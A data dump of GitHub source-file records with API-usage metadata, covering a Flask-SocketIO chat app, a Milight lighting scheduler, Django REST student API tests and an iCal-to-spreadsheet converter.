{"api_name": "django.forms.TextInput", "line_number": 57, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 57, "usage_type": "name"}, {"api_name": "kitsune.notifications.models.Notification", "line_number": 60, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 72, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 72, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 72, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 72, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 72, "usage_type": "name"}, {"api_name": "kitsune.notifications.models.Notification.objects.all", "line_number": 74, "usage_type": "call"}, {"api_name": "kitsune.notifications.models.Notification.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "kitsune.notifications.models.Notification", "line_number": 74, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 93, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 93, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 93, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 87, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 101, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 101, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 101, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 104, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 104, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SlugRelatedField", "line_number": 106, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 106, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 107, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 107, "usage_type": "name"}, {"api_name": "kitsune.notifications.models.PushNotificationRegistration", "line_number": 111, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 125, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 125, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 133, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 133, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 133, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 133, "usage_type": "name"}, {"api_name": "kitsune.notifications.models.PushNotificationRegistration.objects.all", "line_number": 135, "usage_type": "call"}, {"api_name": "kitsune.notifications.models.PushNotificationRegistration.objects", "line_number": 135, "usage_type": "attribute"}, {"api_name": "kitsune.notifications.models.PushNotificationRegistration", "line_number": 135, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 138, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 138, "usage_type": "name"}, {"api_name": "kitsune.sumo.api_utils.OnlyCreatorEdits", "line_number": 139, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 143, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 143, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 144, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 144, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SlugRelatedField", "line_number": 145, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 145, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 146, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 146, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 146, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SlugRelatedField", "line_number": 148, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 148, "usage_type": "name"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.all", "line_number": 149, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 149, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 149, "usage_type": "name"}, {"api_name": "kitsune.notifications.models.RealtimeRegistration", "line_number": 153, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 171, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 171, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 178, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 178, "usage_type": "name"}, {"api_name": "kitsune.sumo.api_utils.GenericRelatedField", "line_number": 179, "usage_type": "call"}, {"api_name": "kitsune.sumo.api_utils.GenericRelatedField", "line_number": 180, "usage_type": "call"}, {"api_name": "kitsune.sumo.api_utils.GenericRelatedField", "line_number": 181, "usage_type": "call"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 182, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 182, "usage_type": "name"}, {"api_name": "kitsune.sumo.api_utils.DateTimeUTCField", "line_number": 183, "usage_type": "call"}, {"api_name": "kitsune.notifications.models.PushNotificationRegistration", "line_number": 186, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 198, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 198, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 198, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 198, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 198, "usage_type": "name"}, {"api_name": "kitsune.notifications.models.RealtimeRegistration.objects.all", "line_number": 200, "usage_type": "call"}, {"api_name": "kitsune.notifications.models.RealtimeRegistration.objects", "line_number": 200, "usage_type": "attribute"}, {"api_name": "kitsune.notifications.models.RealtimeRegistration", "line_number": 200, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 203, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 203, "usage_type": "name"}, {"api_name": "kitsune.sumo.api_utils.OnlyCreatorEdits", "line_number": 204, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 212, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 213, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 214, "usage_type": "call"}, {"api_name": "actstream.models.Action.objects.filter", "line_number": 218, "usage_type": "call"}, {"api_name": "actstream.models.Action.objects", "line_number": 218, "usage_type": "attribute"}, {"api_name": "actstream.models.Action", "line_number": 218, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 221, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 207, "usage_type": "call"}]}
{"seq_id": "20254214329", "text": "import os\nimport requests\nfrom flask import Flask, render_template, request, jsonify\nfrom flask_socketio import SocketIO, emit\ndef call(new):\n    newnew=\"\"\n    for i in range (0,len(new)-1):\n        if (new[i]==\" \" and new[i+1]==\" \"):\n            newnew=newnew\n        else:\n            newnew=newnew+new[i]\n    if (new[-1]!=\" \"):\n        newnew=newnew+new[-1]\n    if (newnew[0]==\" \"):\n        newnew=newnew[1 : : ]\n    return newnew\n\ndef soloCanal(soloCanales):\n  salasChat=[]\n  for i in soloCanales:\n    salasChat.append(i[\"canal\"])\n  return salasChat\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = os.getenv(\"SECRET_KEY\")\nsocketio = SocketIO(app)\nchannels=[]\nchannelsA=[]\nchannelsA.append({\"canal\":\"jose\",\"chat\":[\"jajaja\",\"jijiji\"],\"usuarios\":[]})\nchannels.append(\"jose\")\nmensajes=[\"jajaj\"]\n@app.route(\"/\")\ndef index():\n    return render_template(\"start.html\")\n    # return render_template(\"createRoom.html\",nName=\"jose\",channels=channels)\n\n@app.route(\"/newChannels\",methods=[\"POST\"])\ndef newChannels():\n    newChannel = call(request.form.get(\"newChannel\"))\n    userName = request.form.get(\"username\")\n    for k in channelsA:\n        if newChannel == k[\"canal\"]:\n            print(k[\"canal\"],k[\"chat\"])\n            return jsonify({\"success\":False,\"newChannel\":channels})\n\n    channelsA.append({\"canal\":newChannel,\"chat\":[],\"usuarios\":[]})\n    channels.append(newChannel)\n    print(channelsA[-1][\"canal\"],channelsA[-1][\"chat\"])\n    return jsonify({\"success\":True,\"newChannel\":channelsA[-1][\"canal\"]})\n\n    # if (newChannel in channels):\n    #     return jsonify({\"success\":False,\"newChannel\":channels})\n    # else:\n    #     channels.append(newChannel)\n    #     return jsonify({\"success\":True,\"newChannel\":channels[-1]})\n\n@app.route(\"/chatList\",methods=[\"POST\"])\ndef chatList():\n     if request.method == \"POST\":\n        nickName=request.form.get(\"nickName\")\n        return render_template(\"createRoom.html\",nName=nickName,channels=soloCanal(channelsA))\n     return \"error\"\n\n@app.route(\"/chatList/\", methods=[\"GET\",\"POST\"] )\ndef bookdata(Source):\n    # return jsonify({\"success\":True,\"Source\":Source})\n    userName=request.form.get(\"userName\")\n    for k in channelsA:\n        if Source == k[\"canal\"]:\n            print(\"::::::::::::::::::::::::::::::::::\")\n            print(userName)\n\n            return render_template(\"index.html\",mensajes=k[\"chat\"],source=Source,userName=userName)\n\n@socketio.on(\"submit mensaje\")\ndef vote(data):\n    contenido = data[\"contenido\"]\n    roomName = data[\"nombreCanal\"]\n    userName=data[\"userName\"]\n    print(\"---------------------------------------------\")\n    print({\"contenido\": contenido,\"roomName\":roomName,\"userName\":userName})\n    for k in channelsA:\n        if roomName == k[\"canal\"]:\n            k[\"chat\"].append(contenido)\n            k[\"usuarios\"].append(userName)\n    # mensajes.append(contenido)\n    emit(\"announce mensaje\", {\"contenido\": contenido,\"roomName\":roomName,\"userName\":userName}, broadcast=True)\n\n\n\n\n\n# if __name__ == \"__main__\":\n#     socketio.run(app)\n", "repo_name": "joselxes/chatapp", "sub_path": "application.py", "file_name": "application.py", "file_ext": "py", "file_size_in_byte": 3026, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 24, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 25, "usage_type": "call"}, {"api_name": "flask_socketio.SocketIO", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 73, "usage_type": "call"}, {"api_name": "flask_socketio.emit", "line_number": 87, "usage_type": "call"}]}
{"seq_id": "30393141751", "text": "import datetime\nimport logging\nimport os\nimport time\nfrom collections import namedtuple\n\nfrom .milight import Mode, Off\nfrom .colors import C_WARM_WHITE, WARM_WHITE, WHITE, ORANGE, RED\n\n\nclass Gradient:\n    def __init__(self, mode1: Mode, mode2: Mode):\n        self.mode1 = mode1\n        self.mode2 = mode2\n\n    def at(self, ratio):\n        return self.mode1.mix(self.mode2, ratio=float(ratio))\n\n\nO = \"office\"\nK = \"dining\"\nE = \"entrance\"\n\n\ndef OKE(mode):\n    return {k: mode for k in (O, K, E)}\n\n\nDUSK = ORANGE._replace(brightness=75)\nDAY = WHITE\nNIGHTLIGHT = RED._replace(brightness=25)\nDO_NOTHING = None\nOFF = Off()\n\nSUNRISE_1 = Gradient(\n    C_WARM_WHITE._replace(brightness=0), C_WARM_WHITE._replace(brightness=80)\n)\nSUNRISE_2 = Gradient(WARM_WHITE._replace(brightness=85), DAY)\nSUNSET_0 = Gradient(DAY, WARM_WHITE._replace(brightness=85))\nSUNSET_1 = Gradient(C_WARM_WHITE._replace(brightness=85), DUSK)\nSUNSET_2 = Gradient(DUSK, DUSK.mix(NIGHTLIGHT, ratio=0.3))\nSUNSET_3 = Gradient(DUSK.mix(NIGHTLIGHT, ratio=0.3), NIGHTLIGHT)\nSUNSET = Gradient(C_WARM_WHITE, NIGHTLIGHT)\n\n\n# fmt: off\nearly_morning = {\n    \"4:00-7:45\": {O: OFF, K: OFF, E: NIGHTLIGHT},\n    \"7:45-8:30\": OKE(SUNRISE_1),\n    \"8:30-09:00\": OKE(SUNRISE_2),\n    \"8:30-20:00\": OKE(DAY),\n}\n\nlate_morning = {\n    \"4:00-10:45\": {O: OFF, K: OFF, E: NIGHTLIGHT},\n    \"10:45-11:30\": OKE(SUNRISE_1),\n    \"11:30-12:00\": OKE(SUNRISE_2),\n    \"12:00-20:00\": OKE(DAY),\n}\n\nearly_night = {\n    \"20:00-21:30\": OKE(SUNSET_0),\n    \"21:30-23:00\": OKE(SUNSET_1),\n    \"23:00-23:59\": OKE(SUNSET_2),\n    \"00:00-00:30\": OKE(SUNSET_3),\n    \"00:30-04:00\": {O: OFF, K: OFF, E: NIGHTLIGHT},\n}\n\nlate_night = {\n    \"20:00-21:30\": OKE(SUNSET_0),\n    \"21:30-23:00\": OKE(SUNSET_1),\n    \"23:00-23:59\": OKE(DO_NOTHING),\n    \"00:00-01:30\": OKE(DO_NOTHING),\n    \"01:30-04:00\": {O: OFF, K: OFF, E: NIGHTLIGHT},\n}\n# fmt: on\nweekdays = dict(enumerate([\"mon\", \"tue\", \"wed\", \"thu\", \"fri\", \"sat\", \"sun\"], 1))\n\n\ndef combine(*schedules):\n    sched = {}\n    for s in schedules:\n        sched.update(s)\n    return sched\n\n\nschedule = {\n    \"mon\": combine(early_morning, early_night),\n    \"tue\": combine(early_morning, early_night),\n    \"wed\": combine(early_morning, early_night),\n    \"thu\": combine(early_morning, early_night),\n    \"fri\": combine(early_morning, late_night),\n    \"sat\": combine(late_morning, late_night),\n    \"sun\": combine(late_morning, early_night),\n}\n\n\ndef get_mode(color, ratio):\n    if isinstance(color, Gradient):\n        return color.at(ratio)\n    else:\n        return color\n\n\ndef parse_time(time: str) -> datetime.time:\n    return datetime.datetime.strptime(time, \"%H:%M\").time()\n\n\ndef minute_of_day(time: datetime.time) -> int:\n    return time.hour * 60 + time.minute\n\n\nclass Scheduler:\n    Period = namedtuple(\"Period\", [\"start_time\", \"end_time\", \"zones\"])\n\n    def __init__(self, controller, schedule, delay=3, pausefile=None):\n        self.controller = controller\n        self.schedule = {k: self.parse_schedule(s) for k, s in schedule.items()}\n        self.modes = {}\n        self.delay = delay\n        self.pausefile = pausefile\n\n    def run(self):\n        while True:\n            if self.pausefile is None or not os.path.exists(self.pausefile):\n                self.set_lights(datetime.datetime.now())\n            time.sleep(self.delay)\n\n    def set_lights(self, now: datetime.datetime):\n        # Pretend that midnight-4am belongs to previous day\n        weekday = weekdays[(now - datetime.timedelta(hours=4)).isoweekday()]\n        time = now.time()\n        logging.debug(\"Using schedule for {} at {:%H:%M}\".format(weekday.upper(), time))\n        sched = self.schedule[weekday]\n        self.modes = self.get_modes_at(sched, time)\n        for zone, mode in self.modes.items():\n            if mode is not None:\n                logging.debug(\"Setting {!r} to {!r}\".format(zone, mode))\n                self.controller.set(zone, mode)\n\n    def period_progress(self, period, at_time):\n        start = minute_of_day(period.start_time)\n        end = minute_of_day(period.end_time)\n        at = minute_of_day(at_time)\n        return (at - start) / (end - start)\n\n    def get_modes_at(self, schedule, time: datetime.time):\n        for period in schedule:\n            if time >= period.start_time and time <= period.end_time:\n                ratio = self.period_progress(period, time)\n                modes = {}\n                for name, color in period.zones.items():\n                    modes[name] = get_mode(color, ratio)\n                return modes\n\n    def parse_schedule(self, schedule):\n        sched = []\n        for times, zones in schedule.items():\n            start, end = [parse_time(t) for t in times.split(\"-\")]\n            sched.append(self.Period(start, end, zones))\n        return sorted(sched, key=lambda s: s.start_time)\n", "repo_name": "jbchouinard/milightsdriver", "sub_path": "milightsdriver/scheduler.py", "file_name": "scheduler.py", "file_ext": "py", "file_size_in_byte": 4781, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "milight.Mode", "line_number": 12, "usage_type": "name"}, {"api_name": "colors.ORANGE._replace", "line_number": 29, "usage_type": "call"}, {"api_name": "colors.ORANGE", "line_number": 29, "usage_type": "name"}, {"api_name": "colors.WHITE", "line_number": 30, "usage_type": "name"}, {"api_name": "colors.RED._replace", "line_number": 31, "usage_type": "call"}, {"api_name": "colors.RED", "line_number": 31, "usage_type": "name"}, {"api_name": "milight.Off", "line_number": 33, "usage_type": "call"}, {"api_name": "colors.C_WARM_WHITE._replace", "line_number": 36, "usage_type": "call"}, {"api_name": "colors.C_WARM_WHITE", "line_number": 36, "usage_type": "name"}, {"api_name": "colors.WARM_WHITE._replace", "line_number": 38, "usage_type": "call"}, {"api_name": "colors.WARM_WHITE", "line_number": 38, "usage_type": "name"}, {"api_name": "colors.WARM_WHITE._replace", "line_number": 39, "usage_type": "call"}, {"api_name": "colors.WARM_WHITE", "line_number": 39, "usage_type": "name"}, {"api_name": "colors.C_WARM_WHITE._replace", "line_number": 40, "usage_type": "call"}, {"api_name": "colors.C_WARM_WHITE", "line_number": 40, "usage_type": "name"}, {"api_name": "colors.C_WARM_WHITE", "line_number": 43, "usage_type": "argument"}, {"api_name": "datetime.datetime.strptime", "line_number": 106, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 106, "usage_type": "attribute"}, {"api_name": "datetime.time", "line_number": 105, "usage_type": "attribute"}, {"api_name": "datetime.time", "line_number": 109, "usage_type": "attribute"}, {"api_name": "time.hour", "line_number": 110, "usage_type": "attribute"}, {"api_name": "time.minute", "line_number": 110, "usage_type": "attribute"}, {"api_name": "collections.namedtuple", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 126, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 127, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 129, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 131, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 133, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 138, "usage_type": "call"}, {"api_name": "datetime.time", "line_number": 147, "usage_type": "attribute"}]}
{"seq_id": "33852887843", "text": "from rest_framework.test import APIClient\n\nfrom testing.testcases import TestCase\nfrom society_manage.models import CreditDistribution\nfrom society.constants import SocietyStatus\n\n\nclass StudentTests(TestCase):\n    def test_get_student(self):\n        user = self.createUser(username='ncj')\n        student = self.createStudent(user=user)\n        url = '/api/student/{}/'.format(student.id)\n        client = APIClient(enforce_csrf_checks=True)\n        client.force_authenticate(user)\n        response = client.get(url, decode=False)\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(response.data['name'], student.name)\n        self.assertEqual(response.data['grade'], student.grade)\n        self.assertEqual(response.data['class_num'], student.class_num)\n\n    def test_permission(self):\n        user1 = self.createUser(username='ncj')\n        student1 = self.createStudent(user=user1)\n        user2 = self.createUser(username='ncj2')\n        url = '/api/student/{}/'.format(student1.id)\n        client = APIClient(enforce_csrf_checks=True)\n        client.force_authenticate(user2)\n        response = client.get(url, decode=False)\n        self.assertEqual(response.status_code, 403)\n\n    def test_object_permission(self):\n        user1 = self.createUser(username='ncj')\n        student1 = self.createStudent(user=user1)\n        user2 = self.createUser(username='ncj2')\n        student2 = self.createStudent(user=user2)\n        url = '/api/student/{}/'.format(student1.id)\n        client = APIClient(enforce_csrf_checks=True)\n        client.force_authenticate(user2)\n        response = client.get(url, decode=False)\n        self.assertEqual(response.status_code, 403)\n\n    def test_update_student_profile(self):\n        user = self.createUser('qltnb')\n        student = self.createStudent(user=user)\n        url = '/api/student/{}/'.format(student.id)\n        client = APIClient(enforce_csrf_checks=True)\n        client.force_authenticate(user)\n        data = {\n            'class_num': '2',\n            'grade': '3',\n            'qq': '123',\n            'name': '上科大龙田酱'\n        }\n        response = client.patch(url, data=data, decode=True)\n        self.assertEqual(response.status_code, 200)\n        student.refresh_from_db()\n        self.assertEqual(student.class_num, 2)\n        self.assertEqual(student.grade, 3)\n        self.assertEqual(student.qq, '123')\n        self.assertEqual(student.name, '上科大龙田酱')\n        response = self.client.patch(url, data=data, decode=True)\n        self.assertEqual(response.status_code, 403)\n\n\nclass StudentCreditTests(TestCase):\n    def setUp(self):\n        self.user1 = self.createUser('jw')\n        self.student1 = self.createStudent(self.user1)\n\n    def test_get_credit_distribution(self):\n        url = '/api/student/credit/'\n\n        client = APIClient(enforce_csrf_checks=True)\n        client.force_authenticate(self.user1)\n\n        res = client.get(url, decode=True)\n        self.assertEqual(res.status_code, 200)\n\n        society_user = self.createUser('society')\n        society = self.createSociety(society_user, members=None)\n        credit_distribution = CreditDistribution.objects.create(\n            society=society,\n            year=2019,\n            semester=1\n        )\n        credit_distribution.receivers.add(self.student1)\n\n        credit_distribution2 = CreditDistribution.objects.create(\n            society=society,\n            year=2019,\n            semester=2\n        )\n        credit_distribution2.receivers.add(self.student1)\n\n        res = client.get(url, decode=True)\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(res.data['results'][0]['society']['name'], society.name)\n        self.assertEqual(res.data['results'][0]['semester'], credit_distribution2.semester)\n        self.assertEqual(res.data['results'][0]['year'], credit_distribution2.year)\n\n        self.assertEqual(res.data['results'][1]['year'], credit_distribution.year)\n\n        # test is_authenticated permission\n        res = self.client.get(url)\n        self.assertEqual(res.status_code, 403)\n\n        client.force_authenticate(society_user)\n        res = client.get(url)\n        self.assertEqual(res.status_code, 403)\n\n\nclass StudentSocietyTests(TestCase):\n    def setUp(self):\n        self.user1 = self.createUser('jw')\n        self.user2 = self.createUser('society1')\n        self.user3 = self.createUser('society2')\n        self.student1 = self.createStudent(self.user1)\n        self.society1 = self.createSociety(user=self.user2, members=[self.student1], status=SocietyStatus.ACTIVE)\n        self.society2 = self.createSociety(user=self.user3, status=SocietyStatus.ACTIVE)\n\n    def test_student_list_societies(self):\n        url = '/api/student/society/'\n\n        client = APIClient(enforce_csrf_checks=True)\n        res = client.get(url, decode=True)\n        self.assertEqual(res.status_code, 403)\n\n        client.force_authenticate(self.user1)\n        res = client.get(url, decode=True)\n        self.assertEqual(res.data['count'], 1)\n        self.assertEqual(res.data['results'][0]['id'], 1)\n", "repo_name": "JeekITClub/StudentPlatform", "sub_path": "student/api/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 5107, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "testing.testcases.TestCase", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 13, "usage_type": "call"}, {"api_name": "rest_framework.test.APIClient", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.test.APIClient", "line_number": 37, "usage_type": "call"}, {"api_name": "rest_framework.test.APIClient", "line_number": 46, "usage_type": "call"}, {"api_name": "testing.testcases.TestCase", "line_number": 65, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 73, "usage_type": "call"}, {"api_name": "society.constants", "line_number": 80, "usage_type": "name"}, {"api_name": "society_manage.models.CreditDistribution.objects.create", "line_number": 81, "usage_type": "call"}, {"api_name": "society_manage.models.CreditDistribution.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "society_manage.models.CreditDistribution", "line_number": 81, "usage_type": "name"}, {"api_name": "society.constants", "line_number": 82, "usage_type": "name"}, {"api_name": "society_manage.models.CreditDistribution.objects.create", "line_number": 88, "usage_type": "call"}, {"api_name": "society_manage.models.CreditDistribution.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "society_manage.models.CreditDistribution", "line_number": 88, "usage_type": "name"}, {"api_name": "society.constants", "line_number": 89, "usage_type": "name"}, {"api_name": "society.constants.name", "line_number": 97, "usage_type": "attribute"}, {"api_name": "society.constants", "line_number": 97, "usage_type": "name"}, {"api_name": "testing.testcases.TestCase", "line_number": 112, "usage_type": "name"}, {"api_name": "society.constants.SocietyStatus.ACTIVE", "line_number": 118, "usage_type": "attribute"}, {"api_name": "society.constants.SocietyStatus", "line_number": 118, "usage_type": "name"}, {"api_name": "society.constants.SocietyStatus.ACTIVE", "line_number": 119, "usage_type": "attribute"}, {"api_name": "society.constants.SocietyStatus", "line_number": 119, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 124, "usage_type": "call"}]}
{"seq_id": "18564243440", "text": "from ics import Calendar\nfrom shutil import copyfile\nfrom app.excel_cells import EXCEL_KEYS\nimport datetime\nimport openpyxl\nimport requests\nimport os\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n\ndef receive_file(url, user_id, semester):\n    if url[-4:] != '.ics':\n        return {'not_ics': True}\n    return write_to_xlsx(url, user_id, semester)\n\n\ndef write_to_xlsx(url, user_id, semester):\n    user_id = str(user_id)\n    if not os.path.isfile(dir_path + '/spreadsheets/' + user_id + 'schedule.xlsx'):\n        copyfile(dir_path + '/generic_sheet/generic_sheet.xlsx',\n                 dir_path + '/spreadsheets/' + user_id + 'schedule.xlsx')\n\n    c = Calendar(requests.get(url).text)\n    workbook = openpyxl.load_workbook(filename=dir_path+'/spreadsheets/'+user_id+'schedule.xlsx')\n    worksheet = workbook.active\n    alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\n    clear_alph = 'BCDEFGH'\n    for key in EXCEL_KEYS[semester]:\n        for row in EXCEL_KEYS[semester][key]:\n            for col in clear_alph:\n                xlformat = col + str(row+1)\n                worksheet[xlformat] = ''\n\n    for event in c.events:\n        start = event.begin.datetime\n        end = event.end.datetime\n\n        while start < end:\n            start_hour = start.hour\n            start_minute = start.minute\n\n            if start_minute < 30:\n                start_minute = 0\n            else:\n                start_minute = 1\n\n            col = start.weekday() + 1\n            row = EXCEL_KEYS[semester][start_hour][start_minute] + 1\n            xlformat = alphabet[col] + str(row)\n            worksheet[xlformat] = 'busy'\n\n            start = start + datetime.timedelta(minutes=30)\n    workbook.save(dir_path + '/spreadsheets/' + user_id + 'schedule.xlsx')\n\n    return {'submitted': True}\n\n\n", "repo_name": "benzhang13/schedule-comparer", "sub_path": "app/process_ical.py", "file_name": "process_ical.py", "file_ext": "py", "file_size_in_byte": 1787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 20, "usage_type": "call"}, {"api_name": "ics.Calendar", "line_number": 23, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 24, "usage_type": "call"}, {"api_name": "app.excel_cells.EXCEL_KEYS", "line_number": 29, "usage_type": "name"}, {"api_name": "app.excel_cells.EXCEL_KEYS", "line_number": 30, "usage_type": "name"}, {"api_name": "app.excel_cells.EXCEL_KEYS", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 53, "usage_type": "call"}]}
